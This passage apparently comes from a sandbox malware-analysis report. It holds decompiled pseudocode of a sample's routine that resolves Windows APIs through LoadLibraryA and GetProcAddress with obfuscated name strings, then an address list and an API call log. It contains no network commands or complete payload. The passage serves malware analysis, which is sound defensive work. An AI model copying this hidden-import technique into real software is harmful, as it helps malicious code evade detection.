				_t14 =  *0x41a688; // 0xa17670
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0xa17550
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0xa17490
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0xa17348
					_t272 =  *0x41a964; // 0x775e0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x775e0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x775e0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0xa17c10
					_t355 =  *0x41a8d8; // 0x6fc40000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0xa150f8
					_t266 =  *0x41a8d8; // 0x6fc40000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0xa14f18
					_t112 =  *0x41a8d8; // 0x6fc40000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0xa14d98
					_t357 =  *0x41a8d8; // 0x6fc40000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0xa17af0
					_t268 =  *0x41a8d8; // 0x6fc40000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0xa14e58
					_t117 =  *0x41a8d8; // 0x6fc40000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0xa14ff8
					_t359 =  *0x41a8d8; // 0x6fc40000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0xa15018
					_t270 =  *0x41a8d8; // 0x6fc40000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0xa15038
					_t122 =  *0x41a8d8; // 0x6fc40000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6fc40000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0xa17d18
					_t92 =  *0x41aaa8; // 0x768f0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0xa17d60
					_t348 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0xa15058
					_t259 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0xa14e78
					_t97 =  *0x41aaa8; // 0x768f0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0xa17aa8
					_t350 =  *0x41aaa8; // 0x768f0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0xa17338
					_t261 =  *0x41aaa8; // 0x768f0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0xa14df8
					_t102 =  *0x41aaa8; // 0x768f0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0xa14e38
					_t352 =  *0x41aaa8; // 0x768f0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0xa17c70
					_t263 =  *0x41aaa8; // 0x768f0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0xa17c40
					_t107 =  *0x41aaa8; // 0x768f0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0xa17a90
					_t354 =  *0x41aaa8; // 0x768f0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0xa17c88
					_t254 =  *0x41a854; // 0x74b40000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0xa14eb8
					_t85 =  *0x41a854; // 0x74b40000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0xa17c58
					_t345 =  *0x41a854; // 0x74b40000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0xa14ed8
					_t256 =  *0x41a854; // 0x74b40000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0xa17ac0
					_t90 =  *0x41a854; // 0x74b40000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x74b40000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0xa17b68
					_t61 =  *0x41a988; // 0x76b90000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0xa17ca0
					_t335 =  *0x41a988; // 0x76b90000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0xa15078
					_t246 =  *0x41a988; // 0x76b90000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0xa14f38
					_t66 =  *0x41a988; // 0x76b90000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0xa17b20
					_t337 =  *0x41a988; // 0x76b90000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0xa17188
					_t248 =  *0x41a988; // 0x76b90000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0xa17b08
					_t71 =  *0x41a988; // 0x76b90000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0xa17b80
					_t339 =  *0x41a988; // 0x76b90000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0xa17cb8
					_t250 =  *0x41a988; // 0x76b90000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0xa17b98
					_t76 =  *0x41a988; // 0x76b90000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0xa171b8
					_t341 =  *0x41a988; // 0x76b90000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0xa14f98
					_t252 =  *0x41a988; // 0x76b90000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0xa17d48
					_t81 =  *0x41a988; // 0x76b90000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0xa17cd0
					_t343 =  *0x41a988; // 0x76b90000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0xa160e8
					_t244 =  *0x41aa40; // 0x6f300000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0xa15098
					_t59 =  *0x41a94c; // 0x768e0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0xa150d8
					_t332 =  *0x41a934; // 0x749a0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0xa16708
					_t239 =  *0x41aa34; // 0x73da0000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0xa150b8
					_t52 =  *0x41aa34; // 0x73da0000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0xa16618
					_t329 =  *0x41aa34; // 0x73da0000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0xa15118
					_t241 =  *0x41aa34; // 0x73da0000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0xa16758
					_t57 =  *0x41aa34; // 0x73da0000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0xa17bb0
					_t331 =  *0x41aa34; // 0x73da0000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0xa17ce8
					_t235 =  *0x41aa80; // 0x6fa90000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0xa17e50
					_t43 =  *0x41aa80; // 0x6fa90000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0xa14db8
					_t325 =  *0x41aa80; // 0x6fa90000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x9fa9c8
					_t237 =  *0x41aa80; // 0x6fa90000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0xa18438
					_t48 =  *0x41aa80; // 0x6fa90000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0xa17e20
					_t327 =  *0x41aa80; // 0x6fa90000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0xa17e98
					_t233 =  *0x41a968; // 0x76720000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0xa172f8
					_t39 =  *0x41a968; // 0x76720000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0xa17ee0
					_t323 =  *0x41a968; // 0x76720000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0xa18738
					_t232 =  *0x41aa98; // 0x75390000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0xa17e38
					_t36 =  *0x41aa98; // 0x75390000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0xa16870
					_t316 =  *0x41a938; // 0x73660000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0xa18418
					_t227 =  *0x41a938; // 0x73660000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0xa16938
					_t25 =  *0x41a938; // 0x73660000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0xa17f10
					_t318 =  *0x41a938; // 0x73660000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0xa17dc0
					_t229 =  *0x41a938; // 0x73660000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0xa18698
					_t30 =  *0x41a938; // 0x73660000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0xa186f8
					_t320 =  *0x41a938; // 0x73660000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0xa17e68
					_t231 =  *0x41a938; // 0x73660000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0xa185f8
					_t20 =  *0x41a97c; // 0x747d0000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0xa183f8
					_t315 =  *0x41a97c; // 0x747d0000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0xa17ec8
					_t224 =  *0x41aa88; // 0x6ecd0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(74DF0000,00A17430), ref: 0040C4BD
GetProcAddress.KERNEL32(74DF0000,00A17460), ref: 0040C4D5
GetProcAddress.KERNEL32(74DF0000,00A14CD8), ref: 0040C4EE
GetProcAddress.KERNEL32(74DF0000,00A17478), ref: 0040C506
GetProcAddress.KERNEL32(74DF0000,00A17628), ref: 0040C51E
GetProcAddress.KERNEL32(74DF0000,00A173A0), ref: 0040C537
GetProcAddress.KERNEL32(74DF0000,00A17640), ref: 0040C54F
GetProcAddress.KERNEL32(74DF0000,00A174D8), ref: 0040C567
GetProcAddress.KERNEL32(74DF0000,00A17568), ref: 0040C580
GetProcAddress.KERNEL32(74DF0000,00A17580), ref: 0040C598
GetProcAddress.KERNEL32(74DF0000,00A175C8), ref: 0040C5B0
GetProcAddress.KERNEL32(74DF0000,00A174A8), ref: 0040C5C9
GetProcAddress.KERNEL32(74DF0000,00A17658), ref: 0040C5E1
GetProcAddress.KERNEL32(74DF0000,00A14A78), ref: 0040C5F9
GetProcAddress.KERNEL32(74DF0000,00A17388), ref: 0040C612
GetProcAddress.KERNEL32(74DF0000,00A14B18), ref: 0040C62A
GetProcAddress.KERNEL32(74DF0000,00A168C0), ref: 0040C642
GetProcAddress.KERNEL32(74DF0000,00A173D0), ref: 0040C65B
GetProcAddress.KERNEL32(74DF0000,00A14CF8), ref: 0040C673
GetProcAddress.KERNEL32(74DF0000,00A17718), ref: 0040C68B
GetProcAddress.KERNEL32(74DF0000,00A14AF8), ref: 0040C6A4
GetProcAddress.KERNEL32(74DF0000,00A176E8), ref: 0040C6BC
GetProcAddress.KERNEL32(74DF0000,00A176B8), ref: 0040C6D4
GetProcAddress.KERNEL32(74DF0000,00A176D0), ref: 0040C6ED
GetProcAddress.KERNEL32(74DF0000,00A17700), ref: 0040C705
GetProcAddress.KERNEL32(74DF0000,00A14B78), ref: 0040C71D
GetProcAddress.KERNEL32(74DF0000,00A17730), ref: 0040C736
GetProcAddress.KERNEL32(74DF0000,00A17748), ref: 0040C74E
GetProcAddress.KERNEL32(74DF0000,00A176A0), ref: 0040C766
GetProcAddress.KERNEL32(74DF0000,00A14C18), ref: 0040C77F
GetProcAddress.KERNEL32(74DF0000,00A17688), ref: 0040C797
GetProcAddress.KERNEL32(74DF0000,00A17D30), ref: 0040C7AF
GetProcAddress.KERNEL32(74DF0000,00A17D78), ref: 0040C7C8
GetProcAddress.KERNEL32(74DF0000,00A17AD8), ref: 0040C7E0
GetProcAddress.KERNEL32(74DF0000,00A17D00), ref: 0040C7F8
GetProcAddress.KERNEL32(74DF0000,00A14FB8), ref: 0040C811
GetProcAddress.KERNEL32(74DF0000,00A14E18), ref: 0040C829
GetProcAddress.KERNEL32(74DF0000,00A17BC8), ref: 0040C841
GetProcAddress.KERNEL32(74DF0000,00A17C28), ref: 0040C85A
GetProcAddress.KERNEL32(74DF0000,00A14EF8), ref: 0040C872
GetProcAddress.KERNEL32(74DF0000,00A165C8), ref: 0040C88A
GetProcAddress.KERNEL32(74DF0000,00A17BF8), ref: 0040C8A3
GetProcAddress.KERNEL32(74DF0000,00A17B38), ref: 0040C8BB
GetProcAddress.KERNEL32(74DF0000,00A15138), ref: 0040C8D3
GetProcAddress.KERNEL32(74DF0000,00A14F58), ref: 0040C8EC
GetProcAddress.KERNEL32(74DF0000,00A14E98), ref: 0040C904
GetProcAddress.KERNEL32(74DF0000,00A17B50), ref: 0040C91C
GetProcAddress.KERNEL32(74DF0000,00A14FD8), ref: 0040C935
GetProcAddress.KERNEL32(74DF0000,00A17BE0), ref: 0040C94D
GetProcAddress.KERNEL32(74DF0000,00A14F78), ref: 0040C965
GetProcAddress.KERNEL32(74DF0000,00A14DD8), ref: 0040C97E
GetProcAddress.KERNEL32(74DF0000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(74DF0000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(74DF0000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(74DF0000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(74DF0000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(00A175F8,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNEL32(00A173E8,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNEL32(00A17508,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00A175E0,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNEL32(00A17598,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNEL32(00A175B0,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNEL32(00A17400,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNEL32(00A17448,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNEL32(00A17610,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNEL32(00A17520,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNEL32(00A17670,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNEL32(00A17550,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNEL32(00A17490,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(775E0000,00A17348), ref: 0040CAF6
GetProcAddress.KERNEL32(775E0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(775E0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6FC40000,00A17C10), ref: 0040CB49
GetProcAddress.KERNEL32(6FC40000,00A150F8), ref: 0040CB61
GetProcAddress.KERNEL32(6FC40000,00A14F18), ref: 0040CB79
GetProcAddress.KERNEL32(6FC40000,00A14D98), ref: 0040CB92
GetProcAddress.KERNEL32(6FC40000,00A17AF0), ref: 0040CBAA
GetProcAddress.KERNEL32(6FC40000,00A14E58), ref: 0040CBC2
GetProcAddress.KERNEL32(6FC40000,00A14FF8), ref: 0040CBDB
GetProcAddress.KERNEL32(6FC40000,00A15018), ref: 0040CBF3
GetProcAddress.KERNEL32(6FC40000,00A15038), ref: 0040CC0B
GetProcAddress.KERNEL32(6FC40000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(768F0000,00A17D18), ref: 0040CC47
GetProcAddress.KERNEL32(768F0000,00A17D60), ref: 0040CC60
GetProcAddress.KERNEL32(768F0000,00A15058), ref: 0040CC78
GetProcAddress.KERNEL32(768F0000,00A14E78), ref: 0040CC90
GetProcAddress.KERNEL32(768F0000,00A17AA8), ref: 0040CCA9
GetProcAddress.KERNEL32(768F0000,00A17338), ref: 0040CCC1
GetProcAddress.KERNEL32(768F0000,00A14DF8), ref: 0040CCD9
GetProcAddress.KERNEL32(768F0000,00A14E38), ref: 0040CCF2
GetProcAddress.KERNEL32(768F0000,00A17C70), ref: 0040CD0A
GetProcAddress.KERNEL32(768F0000,00A17C40), ref: 0040CD22
GetProcAddress.KERNEL32(768F0000,00A17A90), ref: 0040CD3B
GetProcAddress.KERNEL32(74B40000,00A17C88), ref: 0040CD60
GetProcAddress.KERNEL32(74B40000,00A14EB8), ref: 0040CD78
GetProcAddress.KERNEL32(74B40000,00A17C58), ref: 0040CD91
GetProcAddress.KERNEL32(74B40000,00A14ED8), ref: 0040CDA9
GetProcAddress.KERNEL32(74B40000,00A17AC0), ref: 0040CDC1
GetProcAddress.KERNEL32(74B40000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76B90000,00A17B68), ref: 0040CDFD
GetProcAddress.KERNEL32(76B90000,00A17CA0), ref: 0040CE16
GetProcAddress.KERNEL32(76B90000,00A15078), ref: 0040CE2E
GetProcAddress.KERNEL32(76B90000,00A14F38), ref: 0040CE46
GetProcAddress.KERNEL32(76B90000,00A17B20), ref: 0040CE5F
GetProcAddress.KERNEL32(76B90000,00A17188), ref: 0040CE77
GetProcAddress.KERNEL32(76B90000,00A17B08), ref: 0040CE8F
GetProcAddress.KERNEL32(76B90000,00A17B80), ref: 0040CEA8
GetProcAddress.KERNEL32(76B90000,00A17CB8), ref: 0040CEC0
GetProcAddress.KERNEL32(76B90000,00A17B98), ref: 0040CED8
GetProcAddress.KERNEL32(76B90000,00A171B8), ref: 0040CEF1
GetProcAddress.KERNEL32(76B90000,00A14F98), ref: 0040CF09
GetProcAddress.KERNEL32(76B90000,00A17D48), ref: 0040CF21
GetProcAddress.KERNEL32(76B90000,00A17CD0), ref: 0040CF3A
GetProcAddress.KERNEL32(6F300000,00A160E8), ref: 0040CF5B
GetProcAddress.KERNEL32(768E0000,00A15098), ref: 0040CF7C
GetProcAddress.KERNEL32(749A0000,00A150D8), ref: 0040CF9E
GetProcAddress.KERNEL32(73DA0000,00A16708), ref: 0040CFC3
GetProcAddress.KERNEL32(73DA0000,00A150B8), ref: 0040CFDB
GetProcAddress.KERNEL32(73DA0000,00A16618), ref: 0040CFF4
GetProcAddress.KERNEL32(73DA0000,00A15118), ref: 0040D00C
GetProcAddress.KERNEL32(73DA0000,00A16758), ref: 0040D024
GetProcAddress.KERNEL32(73DA0000,00A17BB0), ref: 0040D03D
GetProcAddress.KERNEL32(6FA90000,00A17CE8), ref: 0040D062
GetProcAddress.KERNEL32(6FA90000,00A17E50), ref: 0040D07A
GetProcAddress.KERNEL32(6FA90000,00A14DB8), ref: 0040D093
GetProcAddress.KERNEL32(6FA90000,009FA9C8), ref: 0040D0AB
GetProcAddress.KERNEL32(6FA90000,00A18438), ref: 0040D0C3
GetProcAddress.KERNEL32(6FA90000,00A17E20), ref: 0040D0DC
GetProcAddress.KERNEL32(76720000,00A17E98), ref: 0040D0FD
GetProcAddress.KERNEL32(76720000,00A172F8), ref: 0040D115
GetProcAddress.KERNEL32(76720000,00A17EE0), ref: 0040D12E
GetProcAddress.KERNEL32(75390000,00A18738), ref: 0040D14F
